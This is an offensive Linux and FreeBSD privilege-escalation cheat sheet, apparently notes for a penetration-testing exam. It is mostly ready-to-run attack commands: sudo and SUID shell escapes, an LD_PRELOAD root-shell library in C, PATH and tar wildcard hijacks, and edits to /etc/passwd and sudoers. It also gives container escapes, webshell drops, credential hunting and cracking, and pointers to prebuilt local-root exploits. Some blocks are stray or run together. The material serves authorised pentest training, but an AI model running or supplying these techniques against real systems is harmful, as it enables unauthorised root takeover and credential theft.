Linux Privilege Escalation Reference


🚦 QUICK WIN ORDER (read top-to-bottom under exam pressure)

🟒 30-second checks β€” RUN ON EVERY BOX, FIRST

  • sudo -l β€” any GTFOBins entry is an instant win (Check 1)
  • id β€” unusual groups? (docker, lxd, disk, adm, shadow)
  • SUID sweep: find / -perm -4000 -type f 2>/dev/null (Check 2)
  • ls -la /etc/passwd /etc/shadow β€” writable/readable when they shouldn’t be?

🟑 5-minute checks β€” DO BEFORE STARTING LINPEAS

  • Cron: cat /etc/crontab, ls -la /etc/cron.* β€” writable scripts or PATH abuse
  • Capabilities: getcap -r / 2>/dev/null
  • Internal listening ports: ss -tulnp
  • Creds in files: .bash_history, .env, config.php, wp-config.php

🟠 15-minute checks β€” RUN LINPEAS IN PARALLEL

  • Run linpeas.sh and read the red/yellow highlights first
  • Writable service unit / config files, PATH hijacks
  • Credential reuse β€” try any found password on root and other users
  • uname -a β†’ kernel version β†’ searchsploit (only if nothing easier surfaced)

πŸ”΄ 30+ minute investigations β€” THE NIGHT-EATERS

  • Custom SUID binaries β†’ ltrace/strace for injectable system()/relative-path calls
  • LD_PRELOAD / LD_LIBRARY_PATH abuse from sudo -l env_keep
  • NFS no_root_squash, Docker/LXD group breakout
  • Kernel exploits β€” last resort, they can crash the box

πŸ“Œ Special situations

  • In a container? Check /.dockerenv, capabilities, and mounted host paths
  • Restricted shell (rbash)? Escape via vi, python, sudo, or ssh -t <host> bash
  • Commands silently failing? Use full paths and check AppArmor/SELinux DENIED logs

Check 1 β€” sudo -l (ALWAYS FIRST)

sudo -l

If any binary is listed, check GTFOBins immediately.

Common wins:

sudo vim -c ':!/bin/sh'
sudo find / -exec /bin/sh \; -quit
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo env /bin/sh
sudo less /etc/shadow    # then !sh
sudo nmap --interactive  # then !sh (older nmap)
sudo apt-get changelog apt   # drops to less β†’ type !/bin/sh for root
sudo /usr/bin/tee /etc/passwd < malicious_passwd  # overwrite /etc/passwd

⚠️ If a GTFOBins sudo exploit fails unexpectedly, check grep apparmor /var/log/syslog for DENIED entries β€” AppArmor may be blocking it.

LD_PRELOAD Hijack

If env_keep+=LD_PRELOAD is visible in sudo -l:

// File: /tmp/evil.c
#include <stdio.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so <allowed_binary>

PYTHONPATH / SETENV Hijack

If env_keep+=PYTHONPATH or SETENV is present, create a malicious Python module that matches an import in the sudo-allowed script.

If sudo -l shows gcore (or /usr/bin/gcore), dump memory of any privileged process for cleartext creds:

ps -ef | grep -E 'root|sshd|mysql'   # find a juicy PID
sudo gcore -o /tmp/dump <PID>
strings /tmp/dump.<PID> | grep -iE 'password|passwd|secret|token' | sort -u

Check 2 β€” SUID Binaries

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null    # also check SGID

Cross-reference every result with GTFOBins. Key exploitable: find, vim, python, bash (bash -p), nmap, cp, env, gdb, systemctl, base64, openssl, wget.

Quick SUID exploitation examples:

# SUID find
find /tmp -exec "/usr/bin/bash" -p \; -quit
# SUID bash/sh
/usr/bin/bash -p          # -p prevents effective UID from being reset
# SUID cp β†’ overwrite /etc/passwd
cp /etc/passwd /tmp/passwd.bak
echo 'root2:$(openssl passwd w00t):0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd

Custom SUID binary β†’ PATH hijack

When you find a SUID binary NOT in GTFOBins, inspect what it calls:

file ./mystery_binary
strings ./mystery_binary | grep -E '^/|system|exec|popen'

If strings shows a bare command (no leading slash) like chpasswd, ping, service, cat β†’ it’s calling that command via $PATH lookup. PATH hijack works.

strings showed echo kiero:kiero | chpasswd β€” chpasswd called WITHOUT /usr/sbin/ prefix.

# 1. Create fake binary matching the bare name
echo '#!/bin/bash
chmod +s /bin/bash' > /tmp/chpasswd
chmod +x /tmp/chpasswd

# 2. Prepend writable dir to PATH (must come BEFORE /usr/sbin)
export PATH=/tmp:$PATH

# 3. Trigger the SUID binary β€” it runs YOUR fake as root
./RESET_PASSWD

# 4. /bin/bash now has SUID β†’ root shell
/bin/bash -p
# whoami β†’ root

Mental model: SUID binary + relative command + writable dir = root.

  • SUID bit makes the binary run as root
  • system() / execvp() searches $PATH for bare commands
  • You control $PATH, so you control which binary gets found first

Variants of the same trick:

  • Cron job calls bare command β†’ same PATH hijack (different trigger)
  • Service script calls bare command β†’ same PATH hijack
  • Sudo with env_keep += "PATH" β†’ same PATH hijack via sudo binary

Check 3 β€” Cron Jobs and Timers

cat /etc/crontab
ls -la /etc/cron.d/ && cat /etc/cron.d/* 2>/dev/null              # READ contents, not just list
ls -la /etc/cron.{daily,hourly,weekly,monthly}/
cat /etc/cron.{daily,hourly,weekly,monthly}/* 2>/dev/null         # READ all periodic scripts
crontab -l
sudo crontab -l              # root's crontab (if sudo allows)
systemctl list-timers --all

# Check cron logs for RUNNING jobs (shows what's actually executing)
grep "CRON" /var/log/syslog 2>/dev/null
grep "CRON" /var/log/cron.log 2>/dev/null

Run pspy64 to catch hidden root cron jobs:

chmod +x pspy64 && ./pspy64
# Watch for UID=0 commands running periodically
cp * /media

  

cd /var/www/target-site/uploads

echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > runme.sh

chmod +x runme.sh

touch -- '--checkpoint=1'

touch -- '--checkpoint-action=exec=sh runme.sh'

  

ln -s /root/.ssh/id_rsa rootkey

ln -s /etc/shadow shadowcopy

ln -s /root/proof.txt rootproof

When you find a cron job running as root, check:

  • Writable script? β†’ Replace contents with reverse shell
  • Uses * in writable dir? β†’ Wildcard injection (below)
  • Calls command without absolute path? β†’ PATH hijacking
  • Imports Python modules? β†’ Library hijacking
  • Sources bash files? β†’ Source file hijacking
  • Hardcoded credentials? β†’ Credential reuse

🚨 RED FLAGS β€” 5-second scan after cat /etc/cron.d/*

Don’t skim. READ every line. If you see ANY of these, stop and exploit:

PatternVectorExample
Line ends with bare *Wildcard injectioncd /opt/admin && tar -zxf backup.tar.gz *
Path under /opt/, /home/, /tmp/, /var/www/Check writabilitycd /opt/admin && ... β†’ ls -la /opt/admin
tar / rsync / chown / 7z / zip / find with pathsWildcard injectionany of the above + *
Bare command (no /usr/bin/ prefix)PATH hijack* * * * * root cleanup.sh
.sh scriptCheck writability of script AND parent dirbash /opt/scripts/x.sh
python / perl / php scriptCheck for module/library hijackpython /opt/app/main.py

When a root cron/script runs tar, rsync, chown, 7z, etc. with * in a writable dir:

# tar β€” files starting with `--` are interpreted as flags
cd /writable_dir
echo 'cp /bin/bash /tmp/rb && chmod +s /tmp/rb' > x.sh
chmod +x x.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh x.sh'
# Cron triggers `tar czf backup.tar.gz *` β†’ /tmp/rb -p = root

# rsync β€” --rsh injection
touch -- '-e sh x.sh'

# 7z β€” leaks file contents to stderr
touch -- '@x.txt' && ln -s /etc/shadow x.txt
# `7z a backup.7z *` β†’ /etc/shadow content leaked

Mental model: any binary that parses *-expanded filenames as flags is vulnerable. Drop a file whose NAME is a malicious flag.


Check 4 β€” Capabilities

getcap -r / 2>/dev/null

Reading output: /usr/bin/perl = cap_setuid+ep

  • Left of = β†’ binary name (search on GTFOBins β†’ Capabilities section)
  • Between = and + β†’ the capability (the power granted)
  • Flags must include e (effective) to be exploitable β€” +ep or +eip = live, +i only = dormant, skip

cap_setuid+ep on any interpreter = instant root:

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
CapabilityImpact
cap_setuid+epbecome root via interpreter (above)
cap_dac_read_search+epread ANY file (including /etc/shadow, /root/.ssh/id_rsa)
cap_dac_override+epread AND write any file (replace /etc/passwd, /etc/sudoers)
cap_chown+epchange ownership of any file β†’ take over /etc/passwd
cap_sys_admin+epmount filesystems (mount disk, chroot escape)
cap_net_raw+epraw sockets (sniff network, ARP)
cap_sys_ptrace+epinject into any process (steal root process)
cap_sys_module+epload kernel modules

Check 5 β€” Automated Enumeration (LinPEAS + others)

./linpeas.sh | tee linpeas_output.txt

RED/YELLOW findings are near-certain privesc vectors.

Alternative tools (if linpeas is blocked by AV or unavailable):

unix-privesc-check standard > output.txt   # pre-installed on Kali, transfer to target
# Also: LinEnum.sh, linux-exploit-suggester.sh

Manual quick-win linpeas might miss:

# World-writable directories (check for cron scripts, service binaries in these)
find / -writable -type d 2>/dev/null

Check 6 β€” Password Hunting

Environment variables and dotfiles (check FIRST β€” lowest effort)

# Env vars may contain hardcoded creds set by admins
env | grep -i 'pass\|cred\|secret\|key\|token'

# .bashrc can export credentials as env vars
cat ~/.bashrc | grep -i 'export\|pass\|cred\|secret'
cat /home/*/.bashrc 2>/dev/null | grep -i 'export\|pass'

Sniff credentials from running processes

# Watch for transient processes leaking passwords in command-line args
watch -n 1 "ps aux | grep pass"
# Example catch: sshpass -p 'Password123' ssh [email protected]
# pspy is better for this β€” but watch works without transferring tools
grep -ri 'password' /var/www/ /etc/ /opt/ /home/ 2>/dev/null
grep -ri 'passwd\|credential\|secret\|api.key\|token' /var/www/ /opt/ 2>/dev/null
cat ~/.bash_history
cat /home/*/.bash_history
cat /root/.bash_history 2>/dev/null

Noise reduction (when defaults return too much to read)

The grep above is the firehose. When /etc/ or /var/www/ floods with thousands of hits (locales, manpages, doc strings, package metadata), use these instead:

# 1. Filenames only first β€” triage, then read selectively
grep -rli 'password' /etc/ /var/www/ /opt/ 2>/dev/null

# 2. Tighten the regex β€” '=' or ':' kills doc/help-text noise
grep -rEi 'password\s*[:=]' /etc/ /var/www/ /opt/ 2>/dev/null

# 3. Scope by file type β€” drops binaries, locales, manpages
grep -rEi --include='*.php' --include='*.py' --include='*.sh' \
  --include='*.conf' --include='*.ini' --include='*.env' \
  --include='*.yml' --include='*.yaml' --include='*.xml' --include='*.js' \
  'password\s*[:=]' / 2>/dev/null

# 4. Strip known-noise paths from existing results
grep -ri 'password' /etc/ 2>/dev/null | grep -vE '/locale/|/man/|\.gz:'

# 5. Volume check before diving in
grep -ri 'password' /etc/ 2>/dev/null | wc -l   # >500? tighten the query

Triage order: filenames-only (#1) β†’ tighten regex (#2) β†’ scope by extension (#3) β†’ read top hits.

Git repositories (deleted creds live in commit history)

# Find .git directories
find / -name ".git" -type d 2>/dev/null

# Inside a git repo: check for removed secrets
cd /path/to/repo
git log                                    # list commits
git show <COMMIT_HASH>                     # diff of that commit β€” shows added/removed lines
git log -p                                 # all diffs in full
git log --all --oneline                    # compact view

Common credential locations:

cat /var/www/html/wp-config.php
cat /var/www/html/config.php
cat /var/www/html/.env
find / -name "*.config" -o -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null

Cracking Protected Files

If you find password-protected files, crack them. If someone protected it, the contents matter.

# The *2john family converts any format to john-crackable hash
pdf2john file.pdf > hash.txt
zip2john file.zip > hash.txt
keepass2john file.kdbx > hash.txt
ssh2john id_rsa > hash.txt
rar2john file.rar > hash.txt
office2john file.docx > hash.txt

# Then crack
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Check 7 β€” SSH Keys

find / -name id_rsa -o -name id_dsa -o -name id_ecdsa -o -name id_ed25519 -o -name "*.pem" 2>/dev/null
cat /home/*/.ssh/authorized_keys 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null

Check 8 β€” Writable /etc/passwd, /etc/shadow, /etc/sudoers

ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/

/etc/passwd writable:

openssl passwd -1 password123
echo 'hacker:$1$xyz$abc...:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker    # password: password123

/etc/sudoers or /etc/sudoers.d/ writable (more common than passwd in practice):*

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo -i   # root
# Or drop a new file in sudoers.d/
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/zz_pwn

/etc/shadow writable:

# Replace root's hash with a known one
openssl passwd -6 toor   # β†’ $6$...
# Edit /etc/shadow, replace root's $6$... with yours, then `su root` with toor

Check 9 β€” Internal Services

ss -tulnp
netstat -tulnp 2>/dev/null

Look for services bound to 127.0.0.1 β€” nmap can’t see these from outside.

Common finds: MySQL 3306 (try mysql -u root), Redis 6379, internal web apps on high ports, dev servers.

Forward them for exploitation:

# Basic: forward target localhost:8080 to YOUR localhost:8080
ssh -L 8080:127.0.0.1:8080 user@target -N

# With SSH key + non-standard port (common in labs)
ssh -i id_ecdsa user@target -p 2222 -L 8080:127.0.0.1:8080 -N

# Forward multiple ports at once
ssh -i id_key user@target -p PORT -L 8080:127.0.0.1:8080 -L 3306:127.0.0.1:3306 -N

# -N = no shell, just forward the port
# -L = local forward (target localhost -> your localhost)
# Then browse http://127.0.0.1:8080 on Kali to access the service

On hit, the canonical move (one-line memory cues):

  • Redis (6379) β†’ CONFIG SET dir /root/.ssh/ + dbfilename authorized_keys + SET x "ssh-rsa..." + SAVE
  • MySQL as root + writable webroot β†’ SELECT '<?php ... ?>' INTO OUTFILE '/var/www/html/x.php'
  • Docker socket readable β†’ mount / and chroot (same payload as docker group, Check 11)
  • Werkzeug/Flask debug β†’ it is a Python REPL: __import__('os').system('id')
  • Anything else β†’ search the box for that service config (/etc/<svc>/*) β€” creds usually live there

Check 10 β€” NFS no_root_squash

# External (from Kali, during initial enum) β€” port 2049 in nmap = NFS
showmount -e <target_ip>

# Internal (post-foothold)
cat /etc/exports
# Look for: /share *(rw,no_root_squash)

If found:

# On attacker (as root):
sudo mount -t nfs $ip:/share /tmp/nfs
sudo cp /bin/bash /tmp/nfs/bash
sudo chmod +s /tmp/nfs/bash
# On target:
/share/bash -p

Check 11 β€” Privileged Groups (Docker / LXD / disk / adm / shadow)

id
# Look for: docker, lxd, lxc, disk, adm, shadow, kvm, sudo, wheel, video
GroupPath to root
dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt sh
lxd / lxcSee LXD block below
admRead /var/log/* (auth.log, syslog often leak creds from sudo/sshpass)
shadowRead /etc/shadow β†’ crack offline with unshadow + john
videoRead framebuffer /dev/fb0 β€” only useful with active GUI session
kvm/dev/kvm access β€” combine with disk image mount
sudo / wheelsudo -l (already covered, Check 1)

Docker escape:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

LXD escape:

lxc image import ./alpine.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# debugfs gives raw filesystem read on the block device
debugfs /dev/sda1
debugfs:  cat /etc/shadow
debugfs:  dump /root/.ssh/id_rsa /tmp/rootkey
debugfs:  quit
chmod 600 /tmp/rootkey && ssh -i /tmp/rootkey [email protected]

Unknown group triage (group not on the list above):

getent group <name>          # who else is in it, hints at purpose
find / -group <name> -ls 2>/dev/null | head -20   # what files it owns

Look for: configs in /etc/, binaries in /usr/sbin/, logs in /var/log/, devices in /dev/. Nothing useful in 15 min β†’ drop it, not a privesc vector.


Check 12a β€” Userspace SUID/sudo CVEs (safe to try early)

These exploit SUID binaries or sudo β€” NOT kernel β€” so they don’t crash the box. Try BEFORE kernel exploits.

# PwnKit (CVE-2021-4034) β€” pkexec SUID, ~Ubuntu/Debian/CentOS 2014–early 2022
ls -la /usr/bin/pkexec                # confirm SUID present
# Prebuilt: https://github.com/ly4k/PwnKit
./pwnkit                              # β†’ root shell

# Baron Samedit (CVE-2021-3156) β€” sudo < 1.9.5p2
sudo --version                        # check
# Prebuilt: https://github.com/blasty/CVE-2021-3156
./sudo-baron-samedit                  # β†’ root shell

# Sudoedit -e (CVE-2023-22809) β€” sudo 1.8.0–1.9.12p1
# Trigger when sudo -l shows sudoedit (or sudo -e) on a specific file
EDITOR='vim -- /etc/sudoers' sudoedit /allowed/file
# Edits ANY file as root via the appended path. Also works with vi/nano/ed.

# Looney Tunables (CVE-2023-4911) β€” glibc 2.34+ (Ubuntu 22.04+, RHEL 9, Fedora 37+)
# Prebuilt: https://github.com/leesh3288/CVE-2023-4911
./looney                              # less common on OSCP labs, more on modern infra

Quick check from Kali: searchsploit pwnkit / searchsploit CVE-2021-3156. Prebuilt POCs work on most OSCP-vintage targets without compilation.


Check 12b β€” Kernel Exploits (LAST RESORT)

uname -a
cat /etc/issue
cat /etc/os-release
# Then on Kali: searchsploit "linux kernel <version> Local Privilege Escalation"

Reading uname output: 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 ... 2020 x86_64

  • 5.4.0-42-generic β†’ upstream kernel + distro patch level (-42) + flavor
  • #46-Ubuntu ... Fri Jul 10 2020 β†’ build date is the cutoff: only CVEs disclosed AFTER this date can apply
  • x86_64 β†’ architecture (your compiled exploit must match)

Combine with /etc/os-release (distro + release) for the full identifier.

Research query template: <distro> <release> <kernel> privilege escalation Example: ubuntu 20.04 5.4.0-42 privilege escalation

Using linux-exploit-suggester.sh:

./linux-exploit-suggester.sh              # reads uname automatically
./linux-exploit-suggester.sh -k 5.4.0-42  # force a specific kernel string

Read the Exposure tag, not the raw CVE list:

  • highly probable / probable β†’ try
  • less probable / unprobable β†’ skip

Cross-check before compiling: Google <CVE> <distro> <release> patched β€” confirms the patch had not shipped on the target build date.

Run linux-exploit-suggester.sh. Key kernel exploits:

  • DirtyPipe (CVE-2022-0847) β€” Linux 5.8 – 5.16.11, 5.15.25, 5.10.102
  • DirtyCow (CVE-2016-5195) β€” older kernels (< 4.8.3)
  • OverlayFS (CVE-2021-3493 / CVE-2023-0386) β€” Ubuntu-specific

⚠️ Kernel exploits CAN crash the box. Exhaust Check 12a first.


Checks 13-18 β€” Additional Vectors

# 13. World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# 14. Script analysis β€” apply the 13-item checklist to every script found

# 15. Python library hijacking
python3 -c "import sys; print('\n'.join(sys.path))"
# Writable directory in sys.path + root runs Python script = hijack

# 16. PATH hijacking
echo $PATH
# sudo with env_keep+=PATH or SETENV + script uses relative command

# 17. Writable systemd services
find /etc/systemd /lib/systemd /run/systemd -name "*.service" -writable 2>/dev/null
# Exploit (see Writable systemd Service block below)

# 18. Process monitoring
ps aux | grep -i 'pass\|user\|cred'
# pspy is better for catching transient processes

# 19. /etc/ld.so.preload writable β€” instant root on next SUID call
ls -la /etc/ld.so.preload
# If writable: drop a malicious .so path β†’ loaded into every binary including SUID
gcc -fPIC -shared -o /tmp/evil.so evil.c -nostartfiles
echo "/tmp/evil.so" > /etc/ld.so.preload
sudo /usr/bin/find . -exec /bin/bash -p \;   # any SUID/sudo call triggers it
# Find any writable .service file root manages
find /etc/systemd /lib/systemd -name "*.service" -writable 2>/dev/null

# Edit ExecStart to drop a SUID bash:
# [Service]
# ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rb && chmod +s /tmp/rb'

# Reload + trigger (need ANY way to make root reload β€” sudo systemctl, sudo reboot, scheduled restart):
sudo systemctl daemon-reload && sudo systemctl restart <svc>
# OR if sudo allows reboot:
sudo reboot

# After the service reloads as root, the copied bash is SUID:
/tmp/rb -p   # root

When Automated Tools Find Nothing

If LinPEAS, sudo -l, SUID, and cron all come up empty:

  1. Check filesystem root for non-default directories β€” ls / and look for anything unusual: /opt/, /srv/, /backup/, custom directories. Anything placed there intentionally has a purpose.

  2. Read every file you can access β€” especially in home directories, web roots, config files. Password-protected files are high-value (crack them).

  3. Check internal services β€” ss -tulnp for localhost-only services. These are invisible to external scans and often run as root.

  4. Look at running processes β€” ps aux for services running as root with interesting arguments. Run pspy64 to catch transient processes.

  5. Re-enumerate with new context β€” after finding any new information (usernames, passwords, service names), re-run targeted searches.

The privesc might be information-based rather than exploit-based: find file β†’ crack it β†’ read it β†’ discover hidden service β†’ use it. Automated tools look for misconfigurations, not intelligence gathering.


FreeBSD Privilege Escalation

FreeBSD uses doas instead of sudo. Config at /usr/local/etc/doas.conf.

Recognition

  • uname -a shows FreeBSD
  • /usr/local/etc/ is the main third-party config dir (NOT /etc/)
  • Services managed via service NAME onestart/onestop/restart
  • Package manager is pkg not apt
  • Shadow file is /etc/master.passwd not /etc/shadow

Enumeration

cat /usr/local/etc/doas.conf id ls /usr/local/etc/rc.d/ find /usr/local/etc/ -writable 2>/dev/null

Exploit: doas service abuse

If doas.conf has: permit nopass USER cmd service args X onestart

  1. Check if service binary / config / Include dir is writable
  2. Check if service config includes files from writable dir (grep Include in main conf)
  3. If web service: drop webshell in DocumentRoot, start service with doas, catch shell as service user

Apache ran as www user, not root. httpd.conf and Includes dir read-only. Real value: post-exploit looting found sshpass command in .history pointing to FILES share.

LESSON: when doas abuse has no clean privesc, the value is enumeration for next-machine pivot creds. Loot .history, .bash_history, /home/*/.ssh, /var/mail, /tmp, /var/log.

FreeBSD Post-Exploit Looting

cat /root/.history /root/.bash_history ls /var/mail/ && cat /var/mail/* cat /etc/master.passwd find /home /usr/home -name .ssh 2>/dev/null find / -name ‘.sh’ -o -name ‘.py’ 2>/dev/null | xargs grep -l password 2>/dev/null